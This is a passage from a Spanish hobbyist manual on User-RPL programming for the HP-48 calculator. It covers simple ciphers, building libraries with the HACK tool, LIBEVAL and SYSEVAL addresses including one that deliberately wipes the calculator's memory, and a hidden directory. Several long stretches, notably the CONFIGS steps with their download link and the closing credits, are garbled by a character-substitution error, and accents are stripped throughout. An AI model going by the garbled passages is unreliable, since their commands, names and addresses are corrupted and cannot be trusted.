----------------------------------------------------------
77 83 79 67 33 70 36 87 81 69 84 87
Entonces, ahora lo que hacemos, es formar el criptograma, a partir de
estos nmeros.... Con lo que nos queda...
"H" "O" "L" "A" " " "A" " " "T" "O" "D" "O" "S"
72 79 76 65 32 65 32 84 79 68 79 83
5 4 3 2 1 5 4 3 2 1 5 4
----------------------------------------------------------
77 83 79 67 33 70 36 87 81 69 84 87
"M" "S" "O" "C" "!" "F" "$" "W" "Q" "E" "T" "W"
Y por fn, el criptograma es :
"MSOC!F$WQETW"
Ahora, este mtodo de encriptar, es mucho ms poderoso de lo que lo
fueron los dos primeros, analicemos algnas cosas...
Primero debemos saber, que para reventar un texto, solo tenemos el
criptograma, ya que la clave es desconocida.
Y combinado esto, con un encriptador que permita elegir claves de
cualquier longitud.... Nos da GRAN poder de encripcin.
Consideremos el texto original :
"HOLA A TODOS"
y el criptograma :
"MSOC!F$WQETW"
Veamos algunas cosillas....
Toma en cuenta, por ejemplo, que en el texto original, la letra O se
repite 3 veces, pero si te fijas en el criptograma, sus equivalentes
en las tres ubicacin serian S Q y T,................. las tres
distintas !!!!
Interesante no????...
Bueno, ahora basta decir que para reventar esto hay que trabajar
mucho ms, yo no soy capaz de decirles como hacerlo, pero se que
tiene que ver con tcnicas estadisticas y paciencia !!!!:..
Digamos para su cultura general, que este metodo de encripcin es
Ridculo comparado con los que se usan en firmas digitales y
encripcion actual....
El ltimo mtodo que comentaremos, es asignarle a cada letra del
abecedario otro signo, y para encriptar, cambiar cada caracter del
texto original por su equivalente.....
Para romper este mtodo hay varias formas... algunas muy fciles...
Recuerdo que una vez que estaba en Temuco-Chile junto a mi novia,
ella me escribio un criptograma con este mtodo, el cual sala en su
agenda con los smbolos correspondientes a cada caracter del
abecedario. El mensaje que me escriba, estaba compuesto ms o menos
por 4 lneas. Y todos los signos del abecedario cambiados... Como no
me quiso decir lo que significaba, me propuse la tarea de reventar su
mtodo, jajajaja, me rio, por que en ese tiempo, yo an ni siquiera
tena interes en la criptografa y me plantie el reto de
descifrar(reventar) el mensaje..... Demor como 1 y 1/2 horas en
descifrar todo. Lo que hice fu buscar palabras comunes del
castellano, estas fueron "por" "que" "de" busqu trios y duetos de
letras que se repitieran en el texto, y de poco a poco, lo logr.
Despus, mucho Despus, hace solo como 2 meses supe que esta era la
forma de la cual se reventaban este tipo de criptogramas. Lo que a m
me falt saber fueron las letras ms comunes del lenguaje espaol, o
sea, la "e", la "a" y la "l".
Bueno, con esto termino este pequeo captulo, el cual se sali un
poco de lo puramente referente a programacin, pero consider que
estos conocimientos son muy vlidos....
Piense como aplicar la criptografa para defender sus programas de
ataques de poto-crackers.
En este momento son las 18:38, mi hijo se toma una mamadera de jugo,
y me mira, y se rie. A l est dedicado este trabajo.
*******************************************************************
Nota del autor :
En caso de que le haya gustado el tema de la criptografa, le
recomiendo ir a mi pgina sobre el tema, la cual esta dentro de la
seccion "seguridad informtica", en
http://www.geocities.com/xj35u5x
Mi pgina de criptografa es muy humilde, y le puede dejar claros los
conceptos bsicos, pero en ella hay una lista de links con
informacin MUY avanzada y tcnica.
*******************************************************************
FIN DEL CAPITULO 4
---------------------------------------------------------------------
CAPITULO 5 " LIBRERIAS !!!!"
Despus de leer y estudiar este captulo, usted sabr todo sobre como
transformar sus programas en libreras, las cuales son muy tiles, ya
que se pueden usar indeterminados mdulos en nuestros programas, pero
sin embargo, mostrarle al usuario, solo los que se necesitan, y la
ventaja de eso tambin es que una librera puede contener muchos
programas y mdulos, pero para la hp-48 es un objeto nico, el cual
no puede ser reventado sin herramientas especiales.
Crear libreras no es para nada un trabajo pesado, comparado con las
ventajas que representa para nosotros los desarrolladores, ya que
solo hay que conocer unos formalismos, y utilizar herramientas que
nos hacen muy fcil el trabajo, si las sabemos ocupar... Jaja, digo
si las sabemos ocupar, por que si no las ocupamos bien nos tratarn
muy mal.... Me refiero por supuesto a una de estas herramientas, la
librera HACK.
La librera HACK es la que utilizaremos en este capitulo pra poder
armar libreras, y esta puede bajarla de mi web.
Aqu aprenderemos a usarla para crear nuestras libreras. Otros usos
no nos importarn en el curso de este captulo.
Ahora me voy a descanzar un rato. Se me acab la inspiracin. :-)
Hola de nuevo, estoy de vuelta para que comencemos a crear nuestras
propias libreras y as impresionar a media universidad 8-}
Bueno, primero que nada, les dir lo que yo hago cuando deseo
desarrollar un programa en la hp-48. Lo primero que hago, y que es
muy importante si se quiere utilizar la librera HACK es crearse un
directorio de trabajo, en el cual solo tendremos las variables y
mdulos que pertenecen al trabajo. O sea, un directorio para trabajar
tranquilos, sin algunas molestas confusiones con otras variables o
programas. Tambin se debe tener muy en cuenta cuando est todo listo
para armar la librera, borrar todas las variables del sistema, tales
como PPAR(aparece cuando graficamos algo, o utilizamos PICTURE).
Comenzemos.
Al hacer un programa, medianamente grande, se necesita de varios
mdulos(programacin estructurada), los cuales entre todos, hacen el
trabajo. En mis propias creaciones, cas siempre, hay algunos mdulos
que contienen programas, grficos, textos, crditos, etc. Entonces,
al terminar el programa, vemos un monton de variables, de las cuales
la mayora de las veces para ocupar el programa se necesita ejecutar
solo algunas, y son estas las que llaman a las dems para que hagan
su trabajo.
Hablemos un poco sobre la teora de las libreras en la hp-48.
Primero que nada, la definicin... Una librera, es un conjunto de
objetos, que se agrupan como uno solo e inseparable, el cual nos
brinda mucha comodidad para transportar los programas. Programas que
muchas veces pueden constar de hasta 50 variables(mdulos) o ms. De
esta manera, sera muy incmodo tener que entregar 50 variables o ms
a cada persona que quisiera tener nuestro programa. Entonces las
libreras nos solucionan esto. Adems, la ventaja es que el cdigo de
la programacin no es visible a travez de la hp-48. A menos que se
cuente con herramientas con las que la gente comn no cuenta.
Para entender la idea, pensemos en una librera como si su directorio
de trabajo(-en el cual se encontraban las variables que conforman su
trabajo-), lo transformara en un solo objeto, con un nombre, y en el
cual, se tiene acceso a SOLO DETERMINADAS VARIABLES. En nuestro caso,
se supone que debemos dar acceso solo a lo que el usuario necesita.
Pongamos por ejemplo que usted tiene un programa que consta de los
siguientes mdulos :
INICIO -> Con este mdulo comienza la ejecucin.
GRAFC -> Digamos que este contiene solo un grfico, el cual es
ocupado por el programa.
UTIL -> Es un sub-programa ocupado por el INICIO
CALCULO -> Este es otro sub-programa ocupado por INICIO
Entonces, si nos damos cuenta, el usuario solo debera tener acceso a
la variable(mdulo) INICIO.
Otra caracteristica muy a tener en cuenta en la creacin de nuestras
libreras, es que cada librera, contiene un nmero, que la
caracterza, y que supuestamente debe ser UNICO. Bueno, en realidad
lo importante es que en una hp-48 si se encuentran instaladas dos
libreras con el mismo nmero, puede causar concecuencias
desastrozas(reset).
Ahora, que ya conocemos un poco ms las libreras, vamos a ver,
utilizando la librera HACK como crearlas.
Bien. Primero que nada, veamos los requisitos que nos pide la HACK
para poder armar una librera.
Primero que nada, un directorio diferente a HOME, en el cual se
encuentren todas las variables o mdulos que conforman el programa.
Una variable que se deve llamar $ROMID en la cual debemos tener el
nmero de identificacin de la variable, pero de la forma # numero.
Ese nmero debe ser de 4 cifras.
Por ejemplo, si el nmero de identificacin de mi variable fuera
1234, entonces, debo crear en el directorio de trabajo, una variable
llamada $ROMID cuyo contenido se simplemente :
# 1234d
Si se estuviera en modo hexadecimal la calculadora, entonces, el #
1234d nos aparecera como # 4D2h
Entonces, para evitar confuciones, antes de crear esta variable,
ponga la calculadora en modo decimal, esto dandole el comando DEC.
Ya tenemos una de las cuatro variables requeridas por HACK para
ensamblar nuestra librera.
Segundo : Necesitamos crear una variable llamada $TITLE en la cual
deber ir primero que nada, el nombre de nuestra librera, y luego
algunas palabras tales como su nombre, o su e-mail, etc...
La variable $TITLE debe contener UNA CADENA DE TEXTO, o sea, un
ejemplo vlido sera :
"TETRIS, DESARROLLADO POR JEUX FRANCAISE JEUX@FR.EUTLE.AHX"
Eso sera algo vlido. Ojal no sea muy larga esta cadena.
Si usted ha tenido oportunidad de visualizar una librera en la pila,
recordar que tienen esta forma :
3:
2:
1: Library 1234: TETRIS, DESARROLLADO POR......
Entonces, nos podemos dar cuenta tambin que lo que ponemos en la
variable $TITLE, es lo que aparece luego de "Library 1234: "
Bueno, ya hemos analizado dos de las variables que necesita la HACK
para crear una librera.
La tercera variable requerida, se llama $VISIBLE, la cual debe
contener simplemente una lista. Pero esta lista es muy especial y
til, ya que en ella debemos poner los nombres de las variables que
sern visibles al usuario. O sea, en nuestro anterior ejemplo, la
variable $VISIBLE debera haber contenido :
{ INICIO }
Entonces, cuando el usuario acceda a la librera, lo nico que ver
ser la variable INICIO para ocuparla. Las otras han quedado ocultas
para siempre. Y ESTA ES LA GRAN MARAVILLA DE LAS LIBRERIAS.
Espero que se halla entendido. Ahora vamos a la ltima y ms dificil
variable que necesita la librera HACK.
Esta variable tan importante, lleva por nombre $CONFIG, y para
crearla, se necesitan algunas otras pequeas pericias.
Bueno, primero que nada, veamos la visualizacin que tiene esta
variable en la pila :
2:
1: <1234d> External
Primero que nada, no nos asustemos. Podemos darnos cuenta de que son
dos palabras separadas por un espacio, pero como ? se supone que
segn lo que hemos aprendido hasta ahora, esto no es posible, o sea,
razonando, debera quedar :
3:
2: <1234d>
1: External
Pero as no es, ya que ahora tenemos un trozo de cdigo que NO
pertenece a lo que nosotros hemos aprendido. Este mis amigos, es un
simple cdigo compilado, del lenguaje SYSTEM-RPL. El cual permite que
pasen estas cosas raras, como espacios en un solo objeto, sin
comillas ni nada.
Ahora, este no es un curso de SYSTEM, as que lo nico que veremos
ser como lograr armar nuestro necesitado :
1: <1234d> External
Primero que nada, aclaremos una cosa, la palabra External, no tiene
ninguna relacin con simplemente escribir en la pila, External, nono
no no no no seor, nada que ver, esa palabra, es un cdigo de
lenguaje SYS que ya ha sido compilado. Y es Unica, o sea, si tienen
por ah algn otro External, no les sirve, ya que ese cdigo puede
significar otra cosa muy distinta. Esto debido a que en la hp-48 los
cdigos compilados de lenguaje SYSTEM, todos tienen esa apariencia.
Entonces, ese presiso External deberemos buscarlo en lugares donde
sea el que nosotros necesitamos. Pero antes de eso, aprendamos a
escribir un nmero de la forma <2345d>.
Tome su hp-48 y trate de lograr esto :
2:
1: <1234d>
Se encontrar con algunas dificultades, ya que no es tan
fcil de hecho, en ninguna parte del manual de usuario aparece como
lograrlo.
Para poder formar un nmero de esa forma tenemos dos opciones, una,
ocupando la librera HACK, y apretando un simple botn. Esta es la
forma fcil, y que cualquiera hara.
Esto se hace de la siguiente manera ..... Ponemos el nmero que
queremos transformar en la pila, en su forma ms comn, o sea, sin #.
Por ejemplo, si quisieramos transformar el nmero 1234, lo pondramos
en la pila de la siguiente forma muy obvia.
2:
1: 1234
Simplemente eso, y a continuacin, abrimos la librera HACK, y
buscamos la funcion llamada -><>
Bueno, amigos mios, lamentablemente me acabo de dar cuenta de una
verdad que podra doler.... En realidad yo ya lo saba, pero no de
esta manera...
Lo que pasa es que por ah andan dando vueltas varias versiones de la
librera HACK, y la que yo os ofrezco en mi pgina no tiene la
funcin -><> lamentable este hecho, pero as es... En todo caso, hay
otra versin por ah que si la tiene, y es muy comn, pero apenas
encuentre esa librera la pongo en la pgina, y les aviso a todos por
e-mail, siempre que me hayan escrito, ya que todos los e-mails de
gente que me ha saludado o hecho consultas, tengo sus e-mails, para
informarles sobre actualizacines, o cosas como esta.
Bueno, ahora que ya saben como hacer eso con la librera HACK, ahora
yo les ensear la manera que ocupan los que no necesitan de
programas para todo. ... jajja :-)
Bueno, en realidad esta forma es bastante simple, pero no tanto como
ocupar la HACK.
Primero, debemos poner el nmero que queremos transformar en la pila,
pero de una manera muy especial :
2:
1: :&: 1234
As, con los mismos signos.
Luego apretar la tecla EVAL y ya est.
2:
1: <1234d>
Ahora ya tenemos la mitad del archivo $CONFIG, que es el ltimo que
nos falta para poder crear la librera.
La segunda mitad es bastante ms dificil de obtener, pero debido a
esto, yo desarrolle un programa llamado CONFIGS, el cual nos hace
todo este trabajo sucio, o sea, nosotros ponemos el nmero de nuestra
librer!a en la pila de la siguiente forma"
#"
$" $#%&
' luego simplemente apretamos el CONFIGS de mi programa, y el
resultado es "
#"
$" ($#%&d) *+ternal
,espu-s de esto, simplemente guardamos esto en la .ariable /CONFIG y
ya estamos listos para armar la librer!a0 Si .a a usar este m-todo,
puede saltarse lo 1ue biene a continuaci2n y ,espu-s de tener listo
el directorio con todas sus .ariables y tambien con las cuatro
re1ueridas por la librer!a 34C5, simplemente en la librer!a 34C5 use
el comando ,6)LI7
*ste comando se debe dar sin ningn objeto en la pila, ya 1ue el
simplemente son arma la librer!a siempre y cuando se cumpla con las
condiciones 1ue hemos anali8ado en este documento sobre la creaci2n
de librer!as0
*n ese momento, luego de haber utili8ado el comando ,6)LI7, aparecer
en la pila su librer!a armada y lista para ser distribuida, o sea,
hemos terminado el trabajo0
*l programa CONFIGS creado por mi, lo pueden descargar directamente
de la siguiente direcci2n "
http"99:::0geocities0com9+j%;u;+9do:n9configs08ip
' debe tenerse muy en cuenta 1ue para usarlo se debe tener instalada
la librer!a 34C5, cual1uier .ersi2n0
Ahora veremos la forma sucia y lenta de obtener ese preciado
External. La segunda mitad es un poco ms complicada de obtener.
Recordemos que necesitamos la palabra External, pero no cualquier
External, sin uno muy especial.
Para lograr esto, debemos extraer el archivo $CONFIG de otra librera
usando la misma HACK.
Primero, ponemos una librera cualquiera en la pila, de la siguiente
forma :
2:
1: Library 5555 : Matematicas por Sebastian Rivas
Luego de eso, usando la librera HACK, utilizamos el comando
OB-> Entonces, nos encontraremos con que en la hp-48 ha aparecido un
nuevo directorio, el cual contiene la librera desensamblada.
Estando ah vamos a buscar el archivo $CONFIG y sacamos su contenido.
PONGA ATENCION, DIJE SACAR SU CONTENIDO, NO EJECUTARLO, SI USTED LO
EJECUTA ES SU RESPONSABILIDAD POR SU CALCULADORA.
Espero que se sepa como sacar rpidamente el contenido , en caso de
que no se sepa, djeme decirle que no tiene nada que hacer en este
manual, vaya a lavarse el poto, este es un manual avanzado , vaya al
manual de usuario.
Pero de todas formas, una forma fcil de hacerlo es escribir en la
pila lo siguiente :
2:
1: { $CONFIG }
Y luego aplicar el comando RCL
Despus de esto, nos debe quedar en la pila algo como esto :
2:
1: <XXXXd> External
En donde XXXX es el nmero de identificacin de la librera que hemos
desensamblado.
PONGA ATENCION A LO SIGUIENTE :
EN CASO DE QUE EL CONTENIDO DE LA VARIABLE $CONFIG DE ESA LIBRERIA NO
FUERA PARECIDO A LO QUE AQUI SE MUESTRA, LO MEJOR ES QUE SALGA DE AHI
Y BORRE EL CONTENIDO DE ESE DIRECTORIO, YA QUE SIGNIFICA QUE ESE
$CONFIG NO NOS SIRVE, Y LO MAS PROBABLE ES QUE SI SIGA JUGANDO CON
EL, RESETEE SU PROPIA CALCULADORA.
EN ESE CASO, LO QUE SE DEBE HACER, ES ABRIR OTRA LIBRERIA EN BUSCA DE
UN $CONFIG QUE NOS SIRVA.
Ahora supongamos que ya tenemos lo que necesitamos, o sea,
2:
1: <XXXXd> External
Ahora salgamos del directorio de la librera desensamblada, y vayamos
a nuestro directorio de trabajo para comenzar a tratar este
contenido( <XXXXd> External ).
Antes que nada, recuerdo que luego de haber extraido con exito el
$CONFIG de la librera, podemos simplemente borrar el directorio que
contiene las variables de dicha librera.
*******************************************************************
*******************************************************************
Nota del autor : Para borrar completamente un directorio, llamado por
ejemplo D4444 , y que no est vaco, se debe ocupar el comando PGDIR,
estando el nombre del directorio en la pila encerrado entre
{ llaves }
(esto debera saberse a estas alturas del curso.
*******************************************************************
*******************************************************************
Listo, ahora que ya estamos en nuestro directorio de trabajo con las
palabras mgicas en la pila, nos preparamos para comenzar a
transformar esto :
<XXXXd> External
es esto :
<1234d> External
Lo primero que debemos hacer es asegurarnos de que el
<XXXXd> External est en el primer nivel de la pila, para poder
trabajar con l. o sea ....
2:
1: <XXXXd> External
Bueno, ahora, vamos a ir siguiendo los siguientes pasos, uno por uno,
y aqu les ir mostrando los efectos que deberan ir viendo a medida
que se van dando los pasos.
Recordemos antes de comenzar, que debemos tener a mano, el <1234d>
que ya ense como crearlo. Lo mejor sera tenerlo guardado en una
variable por mientras, despus de que hayamos cumplido nuestro
propsito de armar el <1234d> External, debemos borrar esa variable.
Todo lo siguiente, debe comenzar con que usted tiene esto en la
pila :
2:
1: <XXXXd> External
_Primero : Abra la HACK y d el comando OB->
4:
3: <XXXXd>
2: External
1: 2
Ese es el efecto que se produce al hacer eso.
_Segundo : DROP
3:
2: <XXXXd>
1: External
_Tercero : SWAP
3:
2: External
1: <XXXXd>
_Cuarto : DROP
2:
1: External
_Quinto : Recupere su nmero de librera, en este caso <1234d>
3:
2: External
1: <1234d>
_Sexto : SWAP
3:
2: <1234d>
1: External
_Septimo : Ingrese el nmero 2
4:
3: <1234d>
2: External
1: 2
_Octavo y ltimo !!! : Abra la HACK y aplique el comando
->PRG
%"
#"
$" ($#%&d) *+ternal
LISTO !!!!!!!!!!!
Ahora, eso lo guardamos con el nombre que ustedes recordarn.....
$CONFIG
Luego, si es que el nmero <1234d> lo habamos guardado en una
variable temporal, borramos esa variable.
43O<4, 47<4 L4 34C5, ' ,* *L CO=4N,O ,6)LI7
Ha creado su primera librera.
Tenga muy en cuenta este cosejo que le doy, las libreras que usted
cree, pongales nmeros entre 1200 y 5000. Para mayor seguridad.
Y recuerde siempre que en una misma hp-48 no deben haber dos
libreras con el mismo nmero de identificacin.
FIN DEL CAPITULO 5
---------------------------------------------------------------------
CAPITULO 6 "AL FILO DE LA MUERTE, LIBEVAL Y SYSEVAL,
LOS COMANDOS DEL INFIERNO."
Que titulo para este captulo eh!. Bueno, en este ltimo captulo de
esta tercera parte del manual de programacin en lenguaje User-Rpl
para la calculadora hp-48, ensearemos "algunos" usos de dos comandos
muy especiales.
Estos dos comandos especiales se llaman LIBEVAL y SYSEVAL.
Primero que nada, tenga en cuenta que en los proximos das, le
aseguro, que si se mete con ellos de forma irresponsable, resetear
su hp-48 varias veces.
Esto es devido a que estos dos comandos, son los comandos del
infierno, es el lmite en el cual cruzan sus caminos los lenguajes
User-Rpl y System-Rpl. A travez de ellos, y ms del SYSEVAL, tenemos
acceso a funciones que nunca habiamos imaginado. O sea, por ejemplo,
funciones del SYSTEM-RPL.
*********************************************************************
Nota del autor : Trate de buscar estos comandos en los menus de la
hp-48. Es imposible, ya que no aparecen. por que?
*********************************************************************
Hablemos de algunas cosillas.
En el lenguaje User-Rpl, o sea, el que estamos usando, cada vez que
nos equivocamos en algo, simplemente el programa se detiene y se nos
comunica nuestro error con un pitido o un mensaje. Esto es debido a
que el lenguaje User-Rpl, hace comprobaciones de cada comando, o sea,
nos protege de situaciones dolorosas.
Tomemos por ejemplo, tratar de realizar una animacin, sin tener
todos los parmetros necesarios en la pila. En ese caso, se nos dir
mediante un mensaje nuestro error.
En cambio, el System-Rpl no realiza ningn tipo de comprobacin, en
este lenguaje, es el programador o desarrollador el encargado de que
sus programas no contengan errores. Por ejemplo si se hace una
operacin que no esta permitida, el System-Rpl la procesar igual, y
esto el 99.99% de los casos termina en :
MEMORY CLEAR
Esta es una de las razones por las cuales el lenguaje SYSTEM es como
unas 20 veces ms rpido que el user. Nuestro querido User nos
protege, el System no.
Bien, y ahora, lo que hacen los comandos LIBEVAL y SYSEVAL no es lo
mismo, lo que hace LIBEVAL, o mejor dicho, el uso de l que
analizaremos aqu, ser para tener acceso mediante programacin a
lugares en los que no se puede acceder. Y el SYSEVAL, este que es el
ms poderoso de todos los comandos de la hp-48 le daremos algunos
usos diversos.
LI7*>4L
Haga un programa que lo que haga sea introducirlo en el escritor de
matrices.
Puede ?
Hay algn comando que nos permita entrar en el men para graficar
funciones ?
Para estas cosas es que sirve el comando LIBEVAL.
Por ejemplo, yo lo utilizo en mi programa llamado
ANTI-ALGEBRA Para poder acceder al escritor de matrices.
Y esto es simplemente lo que diremos acerca del LIBEVAL. Sus usos
quedan a tu imaginacin.
Antes de dar una lista de nmeros para LIBEVAL, veamos la sintaxis
del comando.
Lo que LIBEVAL necesita para funcionar es un nmero en la pila de la
forma :
2:
1: # numero
O sea, con #
Pero recuerde que es su responsabilidad si resetea su hp-48 con
nmeros que no corresponden o la informacin que aqu se entrega. En
todo caso, siempre es bueno probar emociones fuertes :-)
Aqu entrego una lista con algunos importantes usos de LIVEVAL, junto
con el nmero que corresponda, para que los uses en tus creaciones.
Funcin LIBEVAL
Men de Solve polynomial # B402Ch
Men de sistema de ecuaciones # B4033h
La ventana de CMD # B2000h
Entrada a Chars # B2001h
Men de MODOS # B41C1h
Men CHOOSE de los Flags (Modos) # B41CFh
Entrada directa a MEMORY # B41D7h
Entrada directa a SOLVE # B4000h
Men de Solve Equation # B4001h
Men de Solve difeq Equation # B4017h
Men de TVM # B4038h
Men de PLOT # B4045h
Men de SYMBOLIC # B4113h
Men de Integrales # B4114h
Men de diferenciales # B4122h
Men de STAT # B4175h
Men de SINGLE-VAR STADISTIC # B4176h
Men de Frecuencias # B417Dh
Men de entrada de datos (FIT DATA) # B417Fh
Men de SUMARY STADISTICS # B418Fh
Men de I/O # B4192h
Men de Send to HP-48 # B4193h
Men de Impresin # B4197h
Men de transferencia (TRANSFER) # B41A8h
Men de recepcin de HP-HP # B50FFh
Men de TAYLOR # B412Bh
Men de ISOLATE VAR # B412Dh
Men de ecuacin Cuadratica # B4130h
Men de manipulacin de expresiones # B4131h
Men de la Aplicacin TIME # B4137h
Entrada de las alarmas # B4138h
Set time and Date # B415Bh
Catalogo de alarmas # B416Eh
Si deseas una lista completa, escribeme a milun@starmedia.com
S'S*>4L
Ahora estamos en terreno realmente minado. Este es el comando ms
poderoso del que disponemos en el lenguaje User-Rpl para la hp-48.
Lo que hace, es simplemente darnos acceso a funciones y comandos del
lenguaje System-Rpl
Pero dejo en claro de que este no es un curso de System-Rpl, sino de
User, por lo que yo aqu no ensear ningn comando System.
La sintaxis del comando y su funcionamiento, es parecido al de
LIBEVAL, o sea, se necesita un nmero con # para poder funcionar,
pero dependiendo de cada comando de System, requerir sus propios
argumentos para funcionar, o para tratar o manipular. Los que podran
ser nmeros, nmeros complejos, Cadenas, Dibujos(grobs), etc, o estos
mismos combinados.
Entonces, cuando uno no le da al SYSEVAL lo que l necesita, el se
enoja y la mayora de las veces nos destruye la memoria.
Si deseas tener informacin acerca del lenguaje SYSEVAL, puedes
dirigirte a mi pgina y bajar el manual oficial del SYSTEM.
http://www.geocities.com/xj35u5x
http://www.geocities.com/xj35u5x/xhp48.html
Para no parecer tan hermtico con este comando, dar un ejemplo:
Esto es para que usted compruebe el PODER del SYSEVAL.
Si usted aplica SYSEVAL con el nmero # 9d en la pila, resetea su
calculadora inmediatamente, sin preguntas. Simplemente ....
Memory Clear.
Ese es un ejemplo.
Ahora, en caso de que usted, haya quedado enamorado del comando
SYSEVAL, en mi pgina, en la seccin Herramientas, puede encontrar
una lista completa con los comandos de SYSTEM-RPL y su descripcin y
su nmero de SYSEVAL. Est en ingls :-)
http://www.geocities.com/xj35u5x
Aqu hay una pequeita lista :
30794 VERSTRING
3A328 MakeStdLabel
3A3EC MakeDirLabel
3A38A MakeBoxLabel
3A44E MakeInvLabel
3A1FC DispMenu.1
05F42 GARBAGE
41F65 WaitForKey
353AB SYMB> IDS
40D25 LockAlpha
40D39 UnlockAlpha
3AA0A 1A/ LockA
44C31 DoNewMatrix
44FE7 DoOldMatrix
1314D TOADISP
13135 TOGDISP
39531 ClrDA1IsStat
130AC RECLAIMDISP
4E347 TURNMENUON
05B15 $> ID
05BE9 ID>
3A1E8 DispMenu
39BAD DispStack
Los nmeros, como se podrn dar cuenta por las letras, estn en
hexadecimal.
De estos, yo no puedo darles informacin, ya que yo programo y enseo
User, pero creo que algunos que les podran ser tiles seran:
40D25 LockAlpha -- Nos pone en modo Escribir
40D39 UnlockAlpha -- Sale del modo Escribir
41F65 WaitForKey -- Espera la pulsacin de una tecla
05F42 GARBAGE -- Recoleccin de basura
Los dems realmente no recuerdo para qu sirven.
Pero en caso de que te haya interesado demasiado esto, ya sabes donde
puedes ir.
FIN DEL CAPITULO 6
---------------------------------------------------------------------
CAPITULO 7 "EL DIRECTORIO OCULTO"
En la hp-48 existe un directorio oculto, cuyo nombre es ''.
Trata de hacer esto :
2:
1: ''
Es imposible, bueno, a menos que conozcas un comando muy poderoso
llamado...... ??????::::: si.. SYSEVAL.
BIen, en este directorio oculto, se encuentra informacin acerca de
la asignacin de teclas y alarmas.
Usted puede pensar Y que tiene que ver esto con programacin?
La respuesta, es que como yo quise dar todos mis conocimientos en
este manual, les dir el uso que yo a veces, en determinados
programas le doy al directorio oculto.
Para mi es til el directorio oculto en aplicaciones en las cuales
hay algna informacion que debe ser creada por nuestros programas,
por ejemplo una agenda de telfonos. Entonces, sera ms cmodo para
el usuario, que cada vez que necesitara usar su agenda, se fuera al
programa que hemos creado, pero l no necesitara tener acceso a la
fuente de datos. O sea, a la variable en donde vamos guardando la
informacin. De esta manera, en casos como estos es muy til utilizar
el directorio oculto.
Ahora, ustedes le pueden dar el uso que deseen.
Se debe tener en cuenta no alterar el contenido de las variables que
se encuentran por defecto en el directorio oculto. Ya que estas son
ocupadas por el sistema y su modificacin podra significar un
corrompimiento de la memoria(memory clear).
Los nombres de las variables del sistema que se encuentran en el
directorio oculto son :
Alarms UserKeys y UserKeys.CRC
Ahora, lo ms importante,
como acceder al directorio oculto ?
Con el siguiente nmero de SYSEVAL : # 15777h
O en decimal : # 87927d
Y luego de hacer SYSEVAL nos aparecer esto :
2:
1:
Entonces, estando en el directorio HOME hacemos EVAL y ya est.
Ahora, para salir del directorio oculto, se hace igual que con
cualquier otro directorio : UPDIR.
Ahora analizaremos otro divertido uso del directorio oculto. En
realidad hablaremos de cmo esconder cualquier directorio de la vista
del usuario comn.
Para esto, debemos entrar en un sub-directorio cualquiera, y guardar
cualquier cosa, un nmero, texto, etc, con el nombre ''. Ver como
desaparecen las variables que haba ah. Ahora, para tener acceso a
esas variables secretas, usted debe teclear mediante el teclado sus
nombres.
Bueno, hasta aqu llega esta tercera parte del manual de programacin
en lenguaje User-Rpl para la calculadora hp-48. La he pasado muy bien
haciendo el manual, y tengo algunos proyectos en mente. Primero que
nada, voy a crear una cuarta parte, en la cual no se hablar de
programacin, lo nico que va a contener van a ser cdigos fuente de
programas completos, para que sean analizados por ustedes, y les
sirvan como referencias.
Para que esto resulte, lo nico que les pido, pero por favor, Haganlo
!!!, es escribirme un e-mail a milun@starmedia.com diciendome que
vieron mi manual. Esto es muy gratificante para m. Mi unica paga.
Gracias por leer este manual, y por interesarse en el mundo de la
programacin de la hp-48.
FIN
S4L?,OS ' 4G<4,*CI=I*N@OS
*ste trabajo est dedicado a mi hijo, Sebastian Aesus <i.as 7ra.o0
Saludos a "
>anessa, my lo.e0
=i familia0
=is amigos del mundo real "
Igor 4raneda0
Carlos Bue8ada0
,anilo Sae80
4ndres Aofr-0
A0<0
,aniel66Ne:,anC0
Fernando CFeDaC 4burto00000
4nOr=aL nunca morir EEEEEEEE
Cristian Campos0
Felipe Campos0
Felipe <abanal0
4lejandro NuDe80
Galn0
GoF0
=arioly0
GongO0
Lucho0
7urgos0
CartagenaHcalleI0
Familia 7ra.o0
@ol!n0
4 todo el liceo *nri1ue =olina de Concepci2n,
especialmente al &Jto6C de $KKK
=is amigos del mundo electr2nico "
,ircF0
3aomaru0
*.iL0
y otros 1ue no puedo nombrar0 L6I
' con amor, a mi amiga del otro mundo "
M
5arla 5etterer0
M
4 las siguientes personas, las cuales incenti.aron esta
creaci2n con sus ganas de aprender0
*llos saben 1uienes son "
moramoon
conalep8
jrlope8
omarfpr
solisb
ele#F
caclNNO
gojeta&
arcas#%
jlealNN%
AosP L @irado
No cono8co a ninguno, pero G<4CI4S0
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
Sebastian <i.as Godoy
+j%;u;+
milunQstarmedia0com
http"99:::0geocities0com9+j%;u;+
Concepci2n 6 Chile
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
ded!cado a Sebastian Aesus <i.as 7ra.o,
mi hijo0
Si deseas comunicarte conmigo " milunQstarmedia0com
Gracias y hasta SI*=R<*EEEE0
Condiciones de uso :
Permito que cualquier persona pueda leer este documento y
distribuirlo gratuitamente. O sea, no me gustara que se cobre por
darlo a conocer a otras personas.
Esta totalmente permitida su distribucin mientras no se modifique el
documento, igualmente se permite a cualquier persona imprimir,
fotocopiar, o trasladar mediante cualquier medio este texto.
Regalarlo, entregarlo y usarlo en bibliotecas.
Firma :
Sebastian Rivas.
Milun@starmedia.com
******************* fin del documento **********************





MANUAL 04

Вам также может понравиться